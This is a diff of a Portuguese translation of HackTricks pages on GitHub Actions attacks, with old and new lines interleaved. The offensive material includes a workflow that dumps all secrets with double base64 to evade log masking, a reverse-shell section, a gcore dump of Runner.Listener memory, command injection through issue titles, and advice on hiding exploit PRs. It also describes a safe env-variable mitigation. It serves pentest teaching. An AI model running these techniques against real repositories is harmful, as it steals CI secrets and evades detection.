Se uma conta alterar seu nome, outro usuário pode registrar uma conta com esse nome depois de algum tempo. Se um repository teve **less than 100 stars previously to the change of name**, Github permitirá que o novo usuário registrado com o mesmo nome crie um **repository with the same name** que o excluído.
|
||||
|
||||
> [!CAUTION]
|
||||
> Portanto, se uma ação estiver usando um repositório de uma conta inexistente, ainda é possível que um atacante crie essa conta e comprometa a ação.
|
||||
> Portanto, se uma action estiver usando um repo de uma conta inexistente, ainda é possível que um atacante crie essa conta e comprometa a action.
|
||||
|
||||
Se outros repositórios estavam usando **dependências desses repositórios de usuário**, um atacante poderá sequestrá-los. Aqui você tem uma explicação mais completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
Se outros repositories estavam usando **dependencies from this user repos**, um atacante poderá sequestrá-los. Aqui você tem uma explicação mais completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
|
||||
---
|
||||
|
||||
## Pivotagem de Repositório
|
||||
## Repo Pivoting
|
||||
|
||||
> [!NOTE]
|
||||
> Nesta seção, falaremos sobre técnicas que permitiriam **pivotar de um repositório para outro**, supondo que temos algum tipo de acesso ao primeiro (verifique a seção anterior).
|
||||
> Nesta seção vamos falar sobre técnicas que permitirão **pivot from one repo to another**, supondo que tenhamos algum tipo de acesso no primeiro (veja a seção anterior).
|
||||
|
||||
### Envenenamento de Cache
|
||||
### Cache Poisoning
|
||||
|
||||
Um cache é mantido entre **execuções de workflow no mesmo branch**. O que significa que, se um atacante **comprometer** um **pacote** que é então armazenado no cache e **baixado** e executado por um **workflow mais privilegiado**, ele poderá **comprometer** também esse workflow.
|
||||
Um cache é mantido entre **workflow runs in the same branch**. Isso significa que, se um atacante conseguir **compromise** um **package** que então é armazenado no cache e **downloaded** e executado por um **more privileged** workflow, ele também será capaz de **compromise** esse workflow.
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-cache-poisoning.md
|
||||
{{#endref}}
|
||||
|
||||
### Envenenamento de Artefato
|
||||
### Artifact Poisoning
|
||||
|
||||
Workflows podem usar **artefatos de outros workflows e até repositórios**, se um atacante conseguir **comprometer** a Github Action que **faz o upload de um artefato** que é posteriormente usado por outro workflow, ele poderá **comprometer os outros workflows**:
|
||||
Workflows podem usar **artifacts from other workflows and even repos**; se um atacante conseguir **compromise** o Github Action que **uploads an artifact** que é posteriormente usado por outro workflow, ele poderia **compromise the other workflows**:
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-artifact-poisoning.md
|
||||
@@ -426,11 +429,36 @@ gh-actions-artifact-poisoning.md
|
||||
|
||||
---
|
||||
|
||||
## Pós Exploração de uma Ação
|
||||
## Pós-exploração a partir de uma Action
|
||||
|
||||
### Github Action Policies Bypass
|
||||
|
||||
Como comentado em [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), mesmo que um repository ou organização tenha uma policy restringindo o uso de certas actions, um atacante poderia simplesmente fazer download (`git clone`) da action dentro do workflow e então referenciá-la como uma local action. Como as policies não afetam local paths, **a action será executada sem qualquer restrição.**
|
||||
|
||||
Exemplo:
|
||||
```yaml
|
||||
on: [push, pull_request]
|
||||
|
||||
jobs:
|
||||
test:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- run: |
|
||||
mkdir -p ./tmp
|
||||
git clone https://github.com/actions/checkout.git ./tmp/checkout
|
||||
|
||||
- uses: ./tmp/checkout
|
||||
with:
|
||||
repository: woodruffw/gha-hazmat
|
||||
path: gha-hazmat
|
||||
|
||||
- run: ls && pwd
|
||||
|
||||
- run: ls tmp/checkout
|
||||
```
|
||||
### Acessando AWS e GCP via OIDC
|
||||
|
||||
Verifique as seguintes páginas:
|
||||
Check the following pages:
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
|
||||
@@ -440,15 +468,15 @@ Verifique as seguintes páginas:
|
||||
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Acessando segredos <a href="#accessing-secrets" id="accessing-secrets"></a>
|
||||
### Acessando secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
|
||||
|
||||
Se você estiver injetando conteúdo em um script, é interessante saber como você pode acessar segredos:
|
||||
Se você estiver injetando conteúdo em um script, é interessante saber como acessar secrets:
|
||||
|
||||
- Se o segredo ou token estiver definido como uma **variável de ambiente**, pode ser acessado diretamente através do ambiente usando **`printenv`**.
|
||||
- Se o secret ou token estiver definido em uma **variável de ambiente**, ele pode ser acessado diretamente através do ambiente usando **`printenv`**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Listar segredos na saída da Github Action</summary>
|
||||
<summary>Listar secrets na saída do Github Action</summary>
|
||||
```yaml
|
||||
name: list_env
|
||||
on:
|
||||
@@ -475,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Obter shell reverso com segredos</summary>
|
||||
<summary>Obter reverse shell with secrets</summary>
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
@@ -498,15 +526,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
</details>
|
||||
|
||||
- Se o segredo for usado **diretamente em uma expressão**, o script shell gerado é armazenado **em disco** e é acessível.
|
||||
- Se o secret for usado **diretamente em uma expressão**, o shell script gerado é armazenado **on-disk** e fica acessível.
|
||||
- ```bash
|
||||
cat /home/runner/work/_temp/*
|
||||
```
|
||||
- Para ações JavaScript, os segredos são enviados através de variáveis de ambiente.
|
||||
- Para JavaScript actions, os secrets são passados via environment variables
|
||||
- ```bash
|
||||
ps axe | grep node
|
||||
```
|
||||
- Para uma **ação personalizada**, o risco pode variar dependendo de como um programa está usando o segredo que obteve do **argumento**:
|
||||
- Para uma **custom action**, o risco pode variar dependendo de como um programa usa o secret que obteve do **argument**:
|
||||
|
||||
```yaml
|
||||
uses: fakeaction/publish@v3
|
||||
@@ -514,23 +542,47 @@ with:
|
||||
key: ${{ secrets.PUBLISH_KEY }}
|
||||
```
|
||||
|
||||
### Abusando de runners auto-hospedados
|
||||
- Enumere todos os secrets via o secrets context (nível de colaborador). Um contributor com write access pode modificar um workflow em qualquer branch para despejar todos os repository/org/environment secrets. Use double base64 para evadir o log masking do GitHub e decode localmente:
|
||||
|
||||
A maneira de descobrir quais **Github Actions estão sendo executadas em infraestrutura não-Github** é procurar por **`runs-on: self-hosted`** na configuração yaml da Github Action.
|
||||
```yaml
|
||||
name: Steal secrets
|
||||
on:
|
||||
push:
|
||||
branches: [ attacker-branch ]
|
||||
jobs:
|
||||
dump:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Double-base64 the secrets context
|
||||
run: |
|
||||
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
|
||||
```
|
||||
|
||||
Runners **auto-hospedados** podem ter acesso a **informações extra sensíveis**, a outros **sistemas de rede** (pontos finais vulneráveis na rede? serviço de metadados?) ou, mesmo que esteja isolado e destruído, **mais de uma ação pode ser executada ao mesmo tempo** e a maliciosa pode **roubar os segredos** da outra.
|
||||
Decodifique localmente:
|
||||
|
||||
Em runners auto-hospedados, também é possível obter os **segredos do processo \_Runner.Listener**\_\*\* que conterá todos os segredos dos fluxos de trabalho em qualquer etapa, despejando sua memória:
|
||||
```bash
|
||||
echo "ZXdv...Zz09" | base64 -d | base64 -d
|
||||
```
|
||||
|
||||
Dica: para stealth durante os testes, criptografe antes de imprimir (openssl já vem pré-instalado nos GitHub-hosted runners).
|
||||
|
||||
### Abusando de Self-hosted runners
|
||||
|
||||
A maneira de descobrir quais **Github Actions estão sendo executadas em infraestrutura fora do GitHub** é procurar por **`runs-on: self-hosted`** no yaml de configuração do Github Action.
|
||||
|
||||
**Self-hosted** runners podem ter acesso a **extra sensitive information**, a outros **network systems** (endpoints vulneráveis na rede? metadata service?) ou, mesmo que estejam isolados e destruídos, **mais de uma action pode ser executada ao mesmo tempo** e a maliciosa poderia **steal the secrets** da outra.
|
||||
|
||||
Em self-hosted runners também é possível obter os **secrets from the \_Runner.Listener**\_\*\* process\*\* que conterá todos os secrets dos workflows em qualquer etapa ao despejar sua memória:
|
||||
```bash
|
||||
sudo apt-get install -y gdb
|
||||
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
|
||||
```
|
||||
Verifique [**este post para mais informações**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
Confira [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
|
||||
### Registro de Imagens Docker do Github
|
||||
|
||||
É possível criar ações do Github que **construirão e armazenarão uma imagem Docker dentro do Github**.\
|
||||
Um exemplo pode ser encontrado no seguinte expansível:
|
||||
É possível criar Github actions que irão **construir e armazenar uma Docker image dentro do Github**.\
|
||||
Um exemplo pode ser encontrado no elemento expansível a seguir:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -565,14 +617,14 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
|
||||
```
|
||||
</details>
|
||||
|
||||
Como você pode ver no código anterior, o registro do Github está hospedado em **`ghcr.io`**.
|
||||
Como você pode ver no código anterior, o Github registry é hospedado em **`ghcr.io`**.
|
||||
|
||||
Um usuário com permissões de leitura sobre o repositório poderá então baixar a imagem Docker usando um token de acesso pessoal:
|
||||
Um usuário com permissões de leitura sobre o repositório poderá então baixar a Docker Image usando um personal access token:
|
||||
```bash
|
||||
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
|
||||
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
|
||||
```
|
||||
Então, o usuário poderia procurar por **segredos vazados nas camadas da imagem Docker:**
|
||||
Then, the user could search for **leaked secrets in the Docker image layers:**
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
@@ -580,15 +632,19 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
|
||||
|
||||
### Informações sensíveis nos logs do Github Actions
|
||||
|
||||
Mesmo que o **Github** tente **detectar valores secretos** nos logs das ações e **evitar mostrá-los**, **outros dados sensíveis** que podem ter sido gerados na execução da ação não serão ocultados. Por exemplo, um JWT assinado com um valor secreto não será ocultado a menos que seja [especificamente configurado](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
|
||||
Mesmo que o **Github** tente **detectar valores secretos** nos logs das actions e **evitar mostrá‑los**, **outros dados sensíveis** que possam ter sido gerados durante a execução da action não serão ocultados. Por exemplo, um JWT assinado com um valor secreto não será ocultado a menos que esteja [especificamente configurado](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
|
||||
|
||||
## Cobrir suas Trilhas
|
||||
## Encobrindo seus rastros
|
||||
|
||||
(Técnica de [**aqui**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Primeiro de tudo, qualquer PR levantada é claramente visível ao público no Github e à conta alvo do GitHub. No GitHub, por padrão, **não podemos deletar um PR da internet**, mas há uma reviravolta. Para contas do Github que estão **suspensas** pelo Github, todos os seus **PRs são automaticamente deletados** e removidos da internet. Portanto, para esconder sua atividade, você precisa ou ter sua **conta do GitHub suspensa ou ter sua conta sinalizada**. Isso **esconderá todas as suas atividades** no GitHub da internet (basicamente remove todos os seus PRs de exploração).
|
||||
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Primeiro de tudo, qualquer PR criado é claramente visível ao público no Github e para a conta GitHub alvo. No GitHub por padrão, nós **não podemos deletar um PR da internet**, mas há uma reviravolta. Para contas do Github que são **suspensas** pelo Github, todos os seus **PRs são automaticamente deletados** e removidos da internet. Então, para esconder sua atividade você precisa ou conseguir que sua **conta GitHub seja suspensa ou que sua conta seja sinalizada**. Isso iria **esconder todas as suas atividades** no GitHub da internet (basicamente remover todos os seus exploit PR).
|
||||
|
||||
Uma organização no GitHub é muito proativa em relatar contas ao GitHub. Tudo o que você precisa fazer é compartilhar “algumas coisas” em uma Issue e eles garantirão que sua conta seja suspensa em 12 horas :p e aí está, fez sua exploração invisível no github.
|
||||
Uma organização no GitHub é muito proativa em reportar contas ao GitHub. Tudo que você precisa fazer é compartilhar “algumas coisas” em um Issue e eles vão garantir que sua conta seja suspensa em 12 horas :p e pronto, seu exploit fica invisível no github.
|
||||
|
||||
> [!WARNING]
|
||||
> A única maneira de uma organização descobrir que foi alvo é verificar os logs do GitHub a partir do SIEM, pois na interface do GitHub o PR seria removido.
|
||||
> A única maneira de uma organização descobrir que foi alvo é checar os logs do GitHub no SIEM, já que pela UI do GitHub o PR teria sido removido.
|
||||
|
||||
## References
|
||||
|
||||
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,3 +1,96 @@
|
||||
# Gh Actions - Injeções de Script de Contexto
|
||||
# Gh Actions - Context Script Injections
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Entendendo o risco
|
||||
|
||||
GitHub Actions renderiza expressões ${{ ... }} antes da etapa ser executada. O valor renderizado é inserido no programa da etapa (para run steps, um shell script). Se você interpolar entrada não confiável diretamente dentro de run:, o atacante controla parte do programa do shell e pode executar comandos arbitrários.
|
||||
|
||||
Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
|
||||
|
||||
Pontos-chave:
|
||||
- A renderização ocorre antes da execução. O run script é gerado com todas as expressões resolvidas e então executado pelo shell.
|
||||
- Muitos contexts contêm campos controlados pelo usuário dependendo do evento que o disparou (issues, PRs, comments, discussions, forks, stars, etc.). Veja a referência de untrusted input: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
- Shell quoting inside run: não é uma defesa confiável, porque a injeção ocorre na fase de renderização do template. Atacantes podem quebrar as aspas ou injetar operadores via entrada especialmente criada.
|
||||
|
||||
## Padrão vulnerável → RCE no runner
|
||||
|
||||
Workflow vulnerável (disparado quando alguém abre uma nova issue):
|
||||
```yaml
|
||||
name: New Issue Created
|
||||
on:
|
||||
issues:
|
||||
types: [opened]
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
issues: write
|
||||
steps:
|
||||
- name: New issue
|
||||
run: |
|
||||
echo "New issue ${{ github.event.issue.title }} created"
|
||||
- name: Add "new" label to issue
|
||||
uses: actions-ecosystem/action-add-labels@v1
|
||||
with:
|
||||
github_token: ${{ secrets.GITHUB_TOKEN }}
|
||||
labels: new
|
||||
```
|
||||
Se um atacante abrir uma issue intitulada $(id), a etapa renderizada torna-se:
|
||||
```sh
|
||||
echo "New issue $(id) created"
|
||||
```
|
||||
A substituição de comando executa id no runner. Exemplo de saída:
|
||||
```
|
||||
New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
|
||||
```
|
||||
Por que colocar entre aspas não te salva:
|
||||
- As expressões são renderizadas primeiro, e então o script resultante é executado. Se o valor não confiável contiver $(...), `;`, `"`/`'`, ou quebras de linha, ele pode alterar a estrutura do programa apesar das suas aspas.
|
||||
|
||||
## Padrão seguro (variáveis shell via env)
|
||||
|
||||
Mitigação correta: copie a entrada não confiável para uma variável de ambiente e, em seguida, use expansão nativa do shell ($VAR) no script de execução. Não reinserir com ${{ ... }} dentro do comando.
|
||||
```yaml
|
||||
# safe
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: New issue
|
||||
env:
|
||||
TITLE: ${{ github.event.issue.title }}
|
||||
run: |
|
||||
echo "New issue $TITLE created"
|
||||
```
|
||||
Notas:
|
||||
- Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk.
|
||||
- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:.
|
||||
|
||||
## Superfícies acionáveis por leitores (trate como não confiáveis)
|
||||
|
||||
Contas com permissão somente de leitura em repositórios públicos ainda podem acionar muitos eventos. Qualquer campo em contexts derivados desses eventos deve ser considerado controlado por um atacante, a menos que se prove o contrário. Exemplos:
|
||||
- issues, issue_comment
|
||||
- discussion, discussion_comment (orgs can restrict discussions)
|
||||
- pull_request, pull_request_review, pull_request_review_comment
|
||||
- pull_request_target (dangerous if misused, runs in base repo context)
|
||||
- fork (anyone can fork public repos)
|
||||
- watch (starring a repo)
|
||||
- Indirectly via workflow_run/workflow_call chains
|
||||
|
||||
Which specific fields are attacker-controlled is event-specific. Consult GitHub Security Lab’s untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
|
||||
## Dicas práticas
|
||||
|
||||
- Minimize use of expressions inside run:. Prefer env: mapping + $VAR.
|
||||
- If you must transform input, do it in the shell using safe tools (printf %q, jq -r, etc.), still starting from a shell variable.
|
||||
- Be extra careful when interpolating branch names, PR titles, usernames, labels, discussion titles, and PR head refs into scripts, command-line flags, or file paths.
|
||||
- For reusable workflows and composite actions, apply the same pattern: map to env then reference $VAR.
|
||||
|
||||
## Referências
|
||||
|
||||
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
|
||||
- [GitHub workflow syntax](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
|
||||
- [Contexts and expression syntax](https://docs.github.com/en/actions/learn-github-actions/contexts)
|
||||
- [Untrusted input reference for GitHub Actions](https://securitylab.github.com/resources/github-actions-untrusted-input/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user